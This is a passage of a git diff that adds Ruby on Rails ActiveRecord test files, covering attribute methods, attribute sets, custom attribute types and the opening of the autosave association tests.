+    assert_equal "omg", computer.system
+
+    computer.developer = 99
+    assert_equal 99, computer.developer
+  end
+
+  test "on_the_fly_super_invokable_generated_attribute_methods_via_method_missing" do
+    klass = new_topic_like_ar_class do
+      def title
+        super + "!"
+      end
+    end
+
+    real_topic = topics(:first)
+    assert_equal real_topic.title + "!", klass.find(real_topic.id).title
+  end
+
+  test "on-the-fly super-invokable generated attribute predicates via method_missing" do
+    klass = new_topic_like_ar_class do
+      def title?
+        !super
+      end
+    end
+
+    real_topic = topics(:first)
+    assert_equal !real_topic.title?, klass.find(real_topic.id).title?
+  end
+
+  test "calling super when the parent does not define method raises NoMethodError" do
+    klass = new_topic_like_ar_class do
+      def some_method_that_is_not_on_super
+        super
+      end
+    end
+
+    assert_raise(NoMethodError) do
+      klass.new.some_method_that_is_not_on_super
+    end
+  end
+
+  test "attribute_method?" do
+    assert @target.attribute_method?(:title)
+    assert @target.attribute_method?(:title=)
+    assert_not @target.attribute_method?(:wibble)
+  end
+
+  test "attribute_method? returns false if the table does not exist" do
+    @target.table_name = "wibble"
+    assert_not @target.attribute_method?(:title)
+  end
+
+  test "attribute_names on a new record" do
+    model = @target.new
+
+    assert_equal @target.column_names, model.attribute_names
+  end
+
+  test "attribute_names on a queried record" do
+    model = @target.last!
+
+    assert_equal @target.column_names, model.attribute_names
+  end
+
+  test "attribute_names with a custom select" do
+    model = @target.select("id").last!
+
+    assert_equal ["id"], model.attribute_names
+    # Sanity check, make sure other columns exist.
+    assert_not_equal ["id"], @target.column_names
+  end
+
+  test "came_from_user?" do
+    model = @target.first
+
+    assert_not model.id_came_from_user?
+    model.id = "omg"
+    assert model.id_came_from_user?
+  end
+
+  test "accessed_fields" do
+    model = @target.first
+
+    assert_equal [], model.accessed_fields
+
+    model.title
+
+    assert_equal ["title"], model.accessed_fields
+  end
+
+  private
+
+    def new_topic_like_ar_class(&block)
+      klass = Class.new(ActiveRecord::Base) do
+        self.table_name = "topics"
+        class_eval(&block)
+      end
+
+      assert_empty klass.send(:generated_attribute_methods).instance_methods(false)
+      klass
+    end
+
+    def with_time_zone_aware_types(*types)
+      old_types = ActiveRecord::Base.time_zone_aware_types
+      ActiveRecord::Base.time_zone_aware_types = types
+      yield
+    ensure
+      ActiveRecord::Base.time_zone_aware_types = old_types
+    end
+
+    def cached_columns
+      Topic.columns.map(&:name)
+    end
+
+    def time_related_columns_on_topic
+      Topic.columns.select { |c| [:time, :date, :datetime, :timestamp].include?(c.type) }
+    end
+
+    def privatize(method_signature)
+      @target.class_eval(<<-private_method, __FILE__, __LINE__ + 1)
+        private
+        def #{method_signature}
+          "I'm private"
+        end
+      private_method
+    end
+end
diff --git a/activerecord/test/cases/attribute_set_test.rb b/activerecord/test/cases/attribute_set_test.rb
new file mode 100644
index 0000000000..006372a757
--- /dev/null
+++ b/activerecord/test/cases/attribute_set_test.rb
@@ -0,0 +1,255 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class AttributeSetTest < ActiveRecord::TestCase
+    test "building a new set from raw attributes" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
+      attributes = builder.build_from_database(foo: "1.1", bar: "2.2")
+
+      assert_equal 1, attributes[:foo].value
+      assert_equal 2.2, attributes[:bar].value
+      assert_equal :foo, attributes[:foo].name
+      assert_equal :bar, attributes[:bar].name
+    end
+
+    test "building with custom types" do
+      builder = AttributeSet::Builder.new(foo: Type::Float.new)
+      attributes = builder.build_from_database({ foo: "3.3", bar: "4.4" }, bar: Type::Integer.new)
+
+      assert_equal 3.3, attributes[:foo].value
+      assert_equal 4, attributes[:bar].value
+    end
+
+    test "[] returns a null object" do
+      builder = AttributeSet::Builder.new(foo: Type::Float.new)
+      attributes = builder.build_from_database(foo: "3.3")
+
+      assert_equal "3.3", attributes[:foo].value_before_type_cast
+      assert_nil attributes[:bar].value_before_type_cast
+      assert_equal :bar, attributes[:bar].name
+    end
+
+    test "duping creates a new hash, but does not dup the attributes" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::String.new)
+      attributes = builder.build_from_database(foo: 1, bar: "foo")
+
+      # Ensure the type cast value is cached
+      attributes[:foo].value
+      attributes[:bar].value
+
+      duped = attributes.dup
+      duped.write_from_database(:foo, 2)
+      duped[:bar].value << "bar"
+
+      assert_equal 1, attributes[:foo].value
+      assert_equal 2, duped[:foo].value
+      assert_equal "foobar", attributes[:bar].value
+      assert_equal "foobar", duped[:bar].value
+    end
+
+    test "deep_duping creates a new hash and dups each attribute" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::String.new)
+      attributes = builder.build_from_database(foo: 1, bar: "foo")
+
+      # Ensure the type cast value is cached
+      attributes[:foo].value
+      attributes[:bar].value
+
+      duped = attributes.deep_dup
+      duped.write_from_database(:foo, 2)
+      duped[:bar].value << "bar"
+
+      assert_equal 1, attributes[:foo].value
+      assert_equal 2, duped[:foo].value
+      assert_equal "foo", attributes[:bar].value
+      assert_equal "foobar", duped[:bar].value
+    end
+
+    test "freezing cloned set does not freeze original" do
+      attributes = AttributeSet.new({})
+      clone = attributes.clone
+
+      clone.freeze
+
+      assert clone.frozen?
+      assert_not attributes.frozen?
+    end
+
+    test "to_hash returns a hash of the type cast values" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
+      attributes = builder.build_from_database(foo: "1.1", bar: "2.2")
+
+      assert_equal({ foo: 1, bar: 2.2 }, attributes.to_hash)
+      assert_equal({ foo: 1, bar: 2.2 }, attributes.to_h)
+    end
+
+    test "to_hash maintains order" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
+      attributes = builder.build_from_database(foo: "2.2", bar: "3.3")
+
+      attributes[:bar]
+      hash = attributes.to_h
+
+      assert_equal [[:foo, 2], [:bar, 3.3]], hash.to_a
+    end
+
+    test "values_before_type_cast" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Integer.new)
+      attributes = builder.build_from_database(foo: "1.1", bar: "2.2")
+
+      assert_equal({ foo: "1.1", bar: "2.2" }, attributes.values_before_type_cast)
+    end
+
+    test "known columns are built with uninitialized attributes" do
+      attributes = attributes_with_uninitialized_key
+      assert attributes[:foo].initialized?
+      assert_not attributes[:bar].initialized?
+    end
+
+    test "uninitialized attributes are not included in the attributes hash" do
+      attributes = attributes_with_uninitialized_key
+      assert_equal({ foo: 1 }, attributes.to_hash)
+    end
+
+    test "uninitialized attributes are not included in keys" do
+      attributes = attributes_with_uninitialized_key
+      assert_equal [:foo], attributes.keys
+    end
+
+    test "uninitialized attributes return false for key?" do
+      attributes = attributes_with_uninitialized_key
+      assert attributes.key?(:foo)
+      assert_not attributes.key?(:bar)
+    end
+
+    test "unknown attributes return false for key?" do
+      attributes = attributes_with_uninitialized_key
+      assert_not attributes.key?(:wibble)
+    end
+
+    test "fetch_value returns the value for the given initialized attribute" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
+      attributes = builder.build_from_database(foo: "1.1", bar: "2.2")
+
+      assert_equal 1, attributes.fetch_value(:foo)
+      assert_equal 2.2, attributes.fetch_value(:bar)
+    end
+
+    test "fetch_value returns nil for unknown attributes" do
+      attributes = attributes_with_uninitialized_key
+      assert_nil attributes.fetch_value(:wibble) { "hello" }
+    end
+
+    test "fetch_value returns nil for unknown attributes when types has a default" do
+      types = Hash.new(Type::Value.new)
+      builder = AttributeSet::Builder.new(types)
+      attributes = builder.build_from_database
+
+      assert_nil attributes.fetch_value(:wibble) { "hello" }
+    end
+
+    test "fetch_value uses the given block for uninitialized attributes" do
+      attributes = attributes_with_uninitialized_key
+      value = attributes.fetch_value(:bar) { |n| n.to_s + "!" }
+      assert_equal "bar!", value
+    end
+
+    test "fetch_value returns nil for uninitialized attributes if no block is given" do
+      attributes = attributes_with_uninitialized_key
+      assert_nil attributes.fetch_value(:bar)
+    end
+
+    test "the primary_key is always initialized" do
+      builder = AttributeSet::Builder.new({ foo: Type::Integer.new }, :foo)
+      attributes = builder.build_from_database
+
+      assert attributes.key?(:foo)
+      assert_equal [:foo], attributes.keys
+      assert attributes[:foo].initialized?
+    end
+
+    class MyType
+      def cast(value)
+        return if value.nil?
+        value + " from user"
+      end
+
+      def deserialize(value)
+        return if value.nil?
+        value + " from database"
+      end
+
+      def assert_valid_value(*)
+      end
+    end
+
+    test "write_from_database sets the attribute with database typecasting" do
+      builder = AttributeSet::Builder.new(foo: MyType.new)
+      attributes = builder.build_from_database
+
+      assert_nil attributes.fetch_value(:foo)
+
+      attributes.write_from_database(:foo, "value")
+
+      assert_equal "value from database", attributes.fetch_value(:foo)
+    end
+
+    test "write_from_user sets the attribute with user typecasting" do
+      builder = AttributeSet::Builder.new(foo: MyType.new)
+      attributes = builder.build_from_database
+
+      assert_nil attributes.fetch_value(:foo)
+
+      attributes.write_from_user(:foo, "value")
+
+      assert_equal "value from user", attributes.fetch_value(:foo)
+    end
+
+    def attributes_with_uninitialized_key
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
+      builder.build_from_database(foo: "1.1")
+    end
+
+    test "freezing doesn't prevent the set from materializing" do
+      builder = AttributeSet::Builder.new(foo: Type::String.new)
+      attributes = builder.build_from_database(foo: "1")
+
+      attributes.freeze
+      assert_equal({ foo: "1" }, attributes.to_hash)
+    end
+
+    test "#accessed_attributes returns only attributes which have been read" do
+      builder = AttributeSet::Builder.new(foo: Type::Value.new, bar: Type::Value.new)
+      attributes = builder.build_from_database(foo: "1", bar: "2")
+
+      assert_equal [], attributes.accessed
+
+      attributes.fetch_value(:foo)
+
+      assert_equal [:foo], attributes.accessed
+    end
+
+    test "#map returns a new attribute set with the changes applied" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Integer.new)
+      attributes = builder.build_from_database(foo: "1", bar: "2")
+      new_attributes = attributes.map do |attr|
+        attr.with_cast_value(attr.value + 1)
+      end
+
+      assert_equal 2, new_attributes.fetch_value(:foo)
+      assert_equal 3, new_attributes.fetch_value(:bar)
+    end
+
+    test "comparison for equality is correctly implemented" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Integer.new)
+      attributes = builder.build_from_database(foo: "1", bar: "2")
+      attributes2 = builder.build_from_database(foo: "1", bar: "2")
+      attributes3 = builder.build_from_database(foo: "2", bar: "2")
+
+      assert_equal attributes, attributes2
+      assert_not_equal attributes2, attributes3
+    end
+  end
+end
diff --git a/activerecord/test/cases/attribute_test.rb b/activerecord/test/cases/attribute_test.rb
new file mode 100644
index 0000000000..1731e7926e
--- /dev/null
+++ b/activerecord/test/cases/attribute_test.rb
@@ -0,0 +1,255 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class AttributeTest < ActiveRecord::TestCase
+    setup do
+      @type = Minitest::Mock.new
+    end
+
+    teardown do
+      assert @type.verify
+    end
+
+    test "from_database + read type casts from database" do
+      @type.expect(:deserialize, "type cast from database", ["a value"])
+      attribute = Attribute.from_database(nil, "a value", @type)
+
+      type_cast_value = attribute.value
+
+      assert_equal "type cast from database", type_cast_value
+    end
+
+    test "from_user + read type casts from user" do
+      @type.expect(:cast, "type cast from user", ["a value"])
+      attribute = Attribute.from_user(nil, "a value", @type)
+
+      type_cast_value = attribute.value
+
+      assert_equal "type cast from user", type_cast_value
+    end
+
+    test "reading memoizes the value" do
+      @type.expect(:deserialize, "from the database", ["whatever"])
+      attribute = Attribute.from_database(nil, "whatever", @type)
+
+      type_cast_value = attribute.value
+      second_read = attribute.value
+
+      assert_equal "from the database", type_cast_value
+      assert_same type_cast_value, second_read
+    end
+
+    test "reading memoizes falsy values" do
+      @type.expect(:deserialize, false, ["whatever"])
+      attribute = Attribute.from_database(nil, "whatever", @type)
+
+      attribute.value
+      attribute.value
+    end
+
+    test "read_before_typecast returns the given value" do
+      attribute = Attribute.from_database(nil, "raw value", @type)
+
+      raw_value = attribute.value_before_type_cast
+
+      assert_equal "raw value", raw_value
+    end
+
+    test "from_database + read_for_database type casts to and from database" do
+      @type.expect(:deserialize, "read from database", ["whatever"])
+      @type.expect(:serialize, "ready for database", ["read from database"])
+      attribute = Attribute.from_database(nil, "whatever", @type)
+
+      serialize = attribute.value_for_database
+
+      assert_equal "ready for database", serialize
+    end
+
+    test "from_user + read_for_database type casts from the user to the database" do
+      @type.expect(:cast, "read from user", ["whatever"])
+      @type.expect(:serialize, "ready for database", ["read from user"])
+      attribute = Attribute.from_user(nil, "whatever", @type)
+
+      serialize = attribute.value_for_database
+
+      assert_equal "ready for database", serialize
+    end
+
+    test "duping dups the value" do
+      @type.expect(:deserialize, "type cast".dup, ["a value"])
+      attribute = Attribute.from_database(nil, "a value", @type)
+
+      value_from_orig = attribute.value
+      value_from_clone = attribute.dup.value
+      value_from_orig << " foo"
+
+      assert_equal "type cast foo", value_from_orig
+      assert_equal "type cast", value_from_clone
+    end
+
+    test "duping does not dup the value if it is not dupable" do
+      @type.expect(:deserialize, false, ["a value"])
+      attribute = Attribute.from_database(nil, "a value", @type)
+
+      assert_same attribute.value, attribute.dup.value
+    end
+
+    test "duping does not eagerly type cast if we have not yet type cast" do
+      attribute = Attribute.from_database(nil, "a value", @type)
+      attribute.dup
+    end
+
+    class MyType
+      def cast(value)
+        value + " from user"
+      end
+
+      def deserialize(value)
+        value + " from database"
+      end
+
+      def assert_valid_value(*)
+      end
+    end
+
+    test "with_value_from_user returns a new attribute with the value from the user" do
+      old = Attribute.from_database(nil, "old", MyType.new)
+      new = old.with_value_from_user("new")
+
+      assert_equal "old from database", old.value
+      assert_equal "new from user", new.value
+    end
+
+    test "with_value_from_database returns a new attribute with the value from the database" do
+      old = Attribute.from_user(nil, "old", MyType.new)
+      new = old.with_value_from_database("new")
+
+      assert_equal "old from user", old.value
+      assert_equal "new from database", new.value
+    end
+
+    test "uninitialized attributes yield their name if a block is given to value" do
+      block = proc { |name| name.to_s + "!" }
+      foo = Attribute.uninitialized(:foo, nil)
+      bar = Attribute.uninitialized(:bar, nil)
+
+      assert_equal "foo!", foo.value(&block)
+      assert_equal "bar!", bar.value(&block)
+    end
+
+    test "uninitialized attributes have no value" do
+      assert_nil Attribute.uninitialized(:foo, nil).value
+    end
+
+    test "attributes equal other attributes with the same constructor arguments" do
+      first = Attribute.from_database(:foo, 1, Type::Integer.new)
+      second = Attribute.from_database(:foo, 1, Type::Integer.new)
+      assert_equal first, second
+    end
+
+    test "attributes do not equal attributes with different names" do
+      first = Attribute.from_database(:foo, 1, Type::Integer.new)
+      second = Attribute.from_database(:bar, 1, Type::Integer.new)
+      assert_not_equal first, second
+    end
+
+    test "attributes do not equal attributes with different types" do
+      first = Attribute.from_database(:foo, 1, Type::Integer.new)
+      second = Attribute.from_database(:foo, 1, Type::Float.new)
+      assert_not_equal first, second
+    end
+
+    test "attributes do not equal attributes with different values" do
+      first = Attribute.from_database(:foo, 1, Type::Integer.new)
+      second = Attribute.from_database(:foo, 2, Type::Integer.new)
+      assert_not_equal first, second
+    end
+
+    test "attributes do not equal attributes of other classes" do
+      first = Attribute.from_database(:foo, 1, Type::Integer.new)
+      second = Attribute.from_user(:foo, 1, Type::Integer.new)
+      assert_not_equal first, second
+    end
+
+    test "an attribute has not been read by default" do
+      attribute = Attribute.from_database(:foo, 1, Type::Value.new)
+      assert_not attribute.has_been_read?
+    end
+
+    test "an attribute has been read when its value is calculated" do
+      attribute = Attribute.from_database(:foo, 1, Type::Value.new)
+      attribute.value
+      assert attribute.has_been_read?
+    end
+
+    test "an attribute is not changed if it hasn't been assigned or mutated" do
+      attribute = Attribute.from_database(:foo, 1, Type::Value.new)
+
+      refute attribute.changed?
+    end
+
+    test "an attribute is changed if it's been assigned a new value" do
+      attribute = Attribute.from_database(:foo, 1, Type::Value.new)
+      changed = attribute.with_value_from_user(2)
+
+      assert changed.changed?
+    end
+
+    test "an attribute is not changed if it's assigned the same value" do
+      attribute = Attribute.from_database(:foo, 1, Type::Value.new)
+      unchanged = attribute.with_value_from_user(1)
+
+      refute unchanged.changed?
+    end
+
+    test "an attribute can not be mutated if it has not been read,
+      and skips expensive calculations" do
+      type_which_raises_from_all_methods = Object.new
+      attribute = Attribute.from_database(:foo, "bar", type_which_raises_from_all_methods)
+
+      assert_not attribute.changed_in_place?
+    end
+
+    test "an attribute is changed if it has been mutated" do
+      attribute = Attribute.from_database(:foo, "bar", Type::String.new)
+      attribute.value << "!"
+
+      assert attribute.changed_in_place?
+      assert attribute.changed?
+    end
+
+    test "an attribute can forget its changes" do
+      attribute = Attribute.from_database(:foo, "bar", Type::String.new)
+      changed = attribute.with_value_from_user("foo")
+      forgotten = changed.forgetting_assignment
+
+      assert changed.changed? # sanity check
+      refute forgotten.changed?
+    end
+
+    test "with_value_from_user validates the value" do
+      type = Type::Value.new
+      type.define_singleton_method(:assert_valid_value) do |value|
+        if value == 1
+          raise ArgumentError
+        end
+      end
+
+      attribute = Attribute.from_database(:foo, 1, type)
+      assert_equal 1, attribute.value
+      assert_equal 2, attribute.with_value_from_user(2).value
+      assert_raises ArgumentError do
+        attribute.with_value_from_user(1)
+      end
+    end
+
+    test "with_type preserves mutations" do
+      attribute = Attribute.from_database(:foo, "".dup, Type::Value.new)
+      attribute.value << "1"
+
+      assert_equal 1, attribute.with_type(Type::Integer.new).value
+    end
+  end
+end
diff --git a/activerecord/test/cases/attributes_test.rb b/activerecord/test/cases/attributes_test.rb
new file mode 100644
index 0000000000..29a25b4461
--- /dev/null
+++ b/activerecord/test/cases/attributes_test.rb
@@ -0,0 +1,269 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class OverloadedType < ActiveRecord::Base
+  attribute :overloaded_float, :integer
+  attribute :overloaded_string_with_limit, :string, limit: 50
+  attribute :non_existent_decimal, :decimal
+  attribute :string_with_default, :string, default: "the overloaded default"
+end
+
+class ChildOfOverloadedType < OverloadedType
+end
+
+class GrandchildOfOverloadedType < ChildOfOverloadedType
+  attribute :overloaded_float, :float
+end
+
+class UnoverloadedType < ActiveRecord::Base
+  self.table_name = "overloaded_types"
+end
+
+module ActiveRecord
+  class CustomPropertiesTest < ActiveRecord::TestCase
+    test "overloading types" do
+      data = OverloadedType.new
+
+      data.overloaded_float = "1.1"
+      data.unoverloaded_float = "1.1"
+
+      assert_equal 1, data.overloaded_float
+      assert_equal 1.1, data.unoverloaded_float
+    end
+
+    test "overloaded properties save" do
+      data = OverloadedType.new
+
+      data.overloaded_float = "2.2"
+      data.save!
+      data.reload
+
+      assert_equal 2, data.overloaded_float
+      assert_kind_of Integer, OverloadedType.last.overloaded_float
+      assert_equal 2.0, UnoverloadedType.last.overloaded_float
+      assert_kind_of Float, UnoverloadedType.last.overloaded_float
+    end
+
+    test "properties assigned in constructor" do
+      data = OverloadedType.new(overloaded_float: "3.3")
+
+      assert_equal 3, data.overloaded_float
+    end
+
+    test "overloaded properties with limit" do
+      assert_equal 50, OverloadedType.type_for_attribute("overloaded_string_with_limit").limit
+      assert_equal 255, UnoverloadedType.type_for_attribute("overloaded_string_with_limit").limit
+    end
+
+    test "nonexistent attribute" do
+      data = OverloadedType.new(non_existent_decimal: 1)
+
+      assert_equal BigDecimal.new(1), data.non_existent_decimal
+      assert_raise ActiveRecord::UnknownAttributeError do
+        UnoverloadedType.new(non_existent_decimal: 1)
+      end
+    end
+
+    test "model with nonexistent attribute with default value can be saved" do
+      klass = Class.new(OverloadedType) do
+        attribute :non_existent_string_with_default, :string, default: "nonexistent"
+      end
+
+      model = klass.new
+      assert model.save
+    end
+
+    test "changing defaults" do
+      data = OverloadedType.new
+      unoverloaded_data = UnoverloadedType.new
+
+      assert_equal "the overloaded default", data.string_with_default
+      assert_equal "the original default", unoverloaded_data.string_with_default
+    end
+
+    test "defaults are not touched on the columns" do
+      assert_equal "the original default", OverloadedType.columns_hash["string_with_default"].default
+    end
+
+    test "children inherit custom properties" do
+      data = ChildOfOverloadedType.new(overloaded_float: "4.4")
+
+      assert_equal 4, data.overloaded_float
+    end
+
+    test "children can override parents" do
+      data = GrandchildOfOverloadedType.new(overloaded_float: "4.4")
+
+      assert_equal 4.4, data.overloaded_float
+    end
+
+    test "overloading properties does not attribute method order" do
+      attribute_names = OverloadedType.attribute_names
+      assert_equal %w(id overloaded_float unoverloaded_float overloaded_string_with_limit string_with_default non_existent_decimal), attribute_names
+    end
+
+    test "caches are cleared" do
+      klass = Class.new(OverloadedType)
+
+      assert_equal 6, klass.attribute_types.length
+      assert_equal 6, klass.column_defaults.length
+      assert_not klass.attribute_types.include?("wibble")
+
+      klass.attribute :wibble, Type::Value.new
+
+      assert_equal 7, klass.attribute_types.length
+      assert_equal 7, klass.column_defaults.length
+      assert_includes klass.attribute_types, "wibble"
+    end
+
+    test "the given default value is cast from user" do
+      custom_type = Class.new(Type::Value) do
+        def cast(*)
+          "from user"
+        end
+
+        def deserialize(*)
+          "from database"
+        end
+      end
+
+      klass = Class.new(OverloadedType) do
+        attribute :wibble, custom_type.new, default: "default"
+      end
+      model = klass.new
+
+      assert_equal "from user", model.wibble
+    end
+
+    test "procs for default values" do
+      klass = Class.new(OverloadedType) do
+        @@counter = 0
+        attribute :counter, :integer, default: -> { @@counter += 1 }
+      end
+
+      assert_equal 1, klass.new.counter
+      assert_equal 2, klass.new.counter
+    end
+
+    test "procs are memoized before type casting" do
+      klass = Class.new(OverloadedType) do
+        @@counter = 0
+        attribute :counter, :integer, default: -> { @@counter += 1 }
+      end
+
+      model = klass.new
+      assert_equal 1, model.counter_before_type_cast
+      assert_equal 1, model.counter_before_type_cast
+    end
+
+    test "user provided defaults are persisted even if unchanged" do
+      model = OverloadedType.create!
+
+      assert_equal "the overloaded default", model.reload.string_with_default
+    end
+
+    if current_adapter?(:PostgreSQLAdapter)
+      test "array types can be specified" do
+        klass = Class.new(OverloadedType) do
+          attribute :my_array, :string, limit: 50, array: true
+          attribute :my_int_array, :integer, array: true
+        end
+
+        string_array = ConnectionAdapters::PostgreSQL::OID::Array.new(
+          Type::String.new(limit: 50))
+        int_array = ConnectionAdapters::PostgreSQL::OID::Array.new(
+          Type::Integer.new)
+        assert_not_equal string_array, int_array
+        assert_equal string_array, klass.type_for_attribute("my_array")
+        assert_equal int_array, klass.type_for_attribute("my_int_array")
+      end
+
+      test "range types can be specified" do
+        klass = Class.new(OverloadedType) do
+          attribute :my_range, :string, limit: 50, range: true
+          attribute :my_int_range, :integer, range: true
+        end
+
+        string_range = ConnectionAdapters::PostgreSQL::OID::Range.new(
+          Type::String.new(limit: 50))
+        int_range = ConnectionAdapters::PostgreSQL::OID::Range.new(
+          Type::Integer.new)
+        assert_not_equal string_range, int_range
+        assert_equal string_range, klass.type_for_attribute("my_range")
+        assert_equal int_range, klass.type_for_attribute("my_int_range")
+      end
+    end
+
+    test "attributes added after subclasses load are inherited" do
+      parent = Class.new(ActiveRecord::Base) do
+        self.table_name = "topics"
+      end
+
+      child = Class.new(parent)
+      child.new # => force a schema load
+
+      parent.attribute(:foo, Type::Value.new)
+
+      assert_equal(:bar, child.new(foo: :bar).foo)
+    end
+
+    test "attributes not backed by database columns are not dirty when unchanged" do
+      refute OverloadedType.new.non_existent_decimal_changed?
+    end
+
+    test "attributes not backed by database columns are always initialized" do
+      OverloadedType.create!
+      model = OverloadedType.first
+
+      assert_nil model.non_existent_decimal
+      model.non_existent_decimal = "123"
+      assert_equal 123, model.non_existent_decimal
+    end
+
+    test "attributes not backed by database columns return the default on models loaded from database" do
+      child = Class.new(OverloadedType) do
+        attribute :non_existent_decimal, :decimal, default: 123
+      end
+      child.create!
+      model = child.first
+
+      assert_equal 123, model.non_existent_decimal
+    end
+
+    test "attributes not backed by database columns properly interact with mutation and dirty" do
+      child = Class.new(ActiveRecord::Base) do
+        self.table_name = "topics"
+        attribute :foo, :string, default: "lol"
+      end
+      child.create!
+      model = child.first
+
+      assert_equal "lol", model.foo
+
+      model.foo << "asdf"
+      assert_equal "lolasdf", model.foo
+      assert model.foo_changed?
+
+      model.reload
+      assert_equal "lol", model.foo
+
+      model.foo = "lol"
+      refute model.changed?
+    end
+
+    test "attributes not backed by database columns appear in inspect" do
+      inspection = OverloadedType.new.inspect
+
+      assert_includes inspection, "non_existent_decimal"
+    end
+
+    test "attributes do not require a type" do
+      klass = Class.new(OverloadedType) do
+        attribute :no_type
+      end
+      assert_equal 1, klass.new(no_type: 1).no_type
+      assert_equal "foo", klass.new(no_type: "foo").no_type
+    end
+  end
+end
diff --git a/activerecord/test/cases/autosave_association_test.rb b/activerecord/test/cases/autosave_association_test.rb
new file mode 100644
index 0000000000..c2e2bca924
--- /dev/null
+++ b/activerecord/test/cases/autosave_association_test.rb
@@ -0,0 +1,1735 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/bird"
+require "models/post"
+require "models/comment"
+require "models/company"
+require "models/customer"
+require "models/developer"
+require "models/computer"
+require "models/invoice"
+require "models/line_item"
+require "models/order"
+require "models/parrot"
+require "models/person"
+require "models/pirate"
+require "models/reader"
+require "models/ship"
+require "models/ship_part"
+require "models/tag"
+require "models/tagging"
+require "models/treasure"
+require "models/eye"
+require "models/electron"
+require "models/molecule"
+require "models/member"
+require "models/member_detail"
+require "models/organization"
+require "models/guitar"
+require "models/tuning_peg"
+
+class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase
+  def test_autosave_validation
+    person = Class.new(ActiveRecord::Base) {
+      self.table_name = "people"
+      validate :should_be_cool, on: :create
+      def self.name; "Person"; end
+
+      private
+
+        def should_be_cool
+          unless first_name == "cool"
+            errors.add :first_name, "not cool"
+          end
+        end
+    }
+    reference = Class.new(ActiveRecord::Base) {
+      self.table_name = "references"
+      def self.name; "Reference"; end
+      belongs_to :person, autosave: true, anonymous_class: person
+    }
+
+    u = person.create!(first_name: "cool")
+    u.update_attributes!(first_name: "nah") # still valid because validation only applies on 'create'
+    assert reference.create!(person: u).persisted?
+  end
+
+  def test_should_not_add_the_same_callbacks_multiple_times_for_has_one
+    assert_no_difference_when_adding_callbacks_twice_for Pirate, :ship
+  end
+
+  def test_should_not_add_the_same_callbacks_multiple_times_for_belongs_to
+    assert_no_difference_when_adding_callbacks_twice_for Ship, :pirate
+  end
+
+  def test_should_not_add_the_same_callbacks_multiple_times_for_has_many
+    assert_no_difference_when_adding_callbacks_twice_for Pirate, :birds
+  end
+
+  def test_should_not_add_the_same_callbacks_multiple_times_for_has_and_belongs_to_many
+    assert_no_difference_when_adding_callbacks_twice_for Pirate, :parrots
+  end
+
+  def test_cyclic_autosaves_do_not_add_multiple_validations
+    ship = ShipWithoutNestedAttributes.new
+    ship.prisoners.build
+
+    assert_not ship.valid?
+    assert_equal 1, ship.errors[:name].length
+  end
+
+  private
+
+    def assert_no_difference_when_adding_callbacks_twice_for(model, association_name)
+      reflection = model.reflect_on_association(association_name)
+      assert_no_difference "callbacks_for_model(#{model.name}).length" do
+        model.send(:add_autosave_association_callbacks, reflection)
+      end
+    end
+
+    def callbacks_for_model(model)
+      model.instance_variables.grep(/_callbacks$/).flat_map do |ivar|
+        model.instance_variable_get(ivar)
+      end
+    end
+end
+
+class TestDefaultAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase
+  fixtures :companies, :accounts
+
+  def test_should_save_parent_but_not_invalid_child
+    firm = Firm.new(name: "GlobalMegaCorp")
+    assert firm.valid?
+
+    firm.build_account_using_primary_key
+    assert !firm.build_account_using_primary_key.valid?
+
+    assert firm.save
+    assert !firm.account_using_primary_key.persisted?
+  end
+
+  def test_save_fails_for_invalid_has_one
+    firm = Firm.first
+    assert firm.valid?
+
+    firm.build_account
+
+    assert !firm.account.valid?
+    assert !firm.valid?
+    assert !firm.save
+    assert_equal ["is invalid"], firm.errors["account"]
+  end
+
+  def test_save_succeeds_for_invalid_has_one_with_validate_false
+    firm = Firm.first
+    assert firm.valid?
+
+    firm.build_unvalidated_account
+
+    assert !firm.unvalidated_account.valid?
+    assert firm.valid?
+    assert firm.save
+  end
+
+  def test_build_before_child_saved
+    firm = Firm.find(1)
+
+    account = firm.build_account("credit_limit" => 1000)
+    assert_equal account, firm.account
+    assert !account.persisted?
+    assert firm.save
+    assert_equal account, firm.account
+    assert account.persisted?
+  end
+
+  def test_build_before_either_saved
+    firm = Firm.new("name" => "GlobalMegaCorp")
+
+    firm.account = account = Account.new("credit_limit" => 1000)
+    assert_equal account, firm.account
+    assert !account.persisted?
+    assert firm.save
+    assert_equal account, firm.account
+    assert account.persisted?
+  end
+
+  def test_assignment_before_parent_saved
+    firm = Firm.new("name" => "GlobalMegaCorp")
+    firm.account = a = Account.find(1)
+    assert !firm.persisted?
+    assert_equal a, firm.account
+    assert firm.save
+    assert_equal a, firm.account
+    firm.association(:account).reload
+    assert_equal a, firm.account
+  end
+
+  def test_assignment_before_either_saved
+    firm = Firm.new("name" => "GlobalMegaCorp")
+    firm.account = a = Account.new("credit_limit" => 1000)
+    assert !firm.persisted?
+    assert !a.persisted?
+    assert_equal a, firm.account
+    assert firm.save
+    assert firm.persisted?
+    assert a.persisted?
+    assert_equal a, firm.account
+    firm.association(:account).reload
+    assert_equal a, firm.account
+  end
+
+  def test_not_resaved_when_unchanged
+    firm = Firm.all.merge!(includes: :account).first
+    firm.name += "-changed"
+    assert_queries(1) { firm.save! }
+
+    firm = Firm.first
+    firm.account = Account.first
+    assert_queries(Firm.partial_writes? ? 0 : 1) { firm.save! }
+
+    firm = Firm.first.dup
+    firm.account = Account.first
+    assert_queries(2) { firm.save! }
+
+    firm = Firm.first.dup
+    firm.account = Account.first.dup
+    assert_queries(2) { firm.save! }
+  end
+
+  def test_callbacks_firing_order_on_create
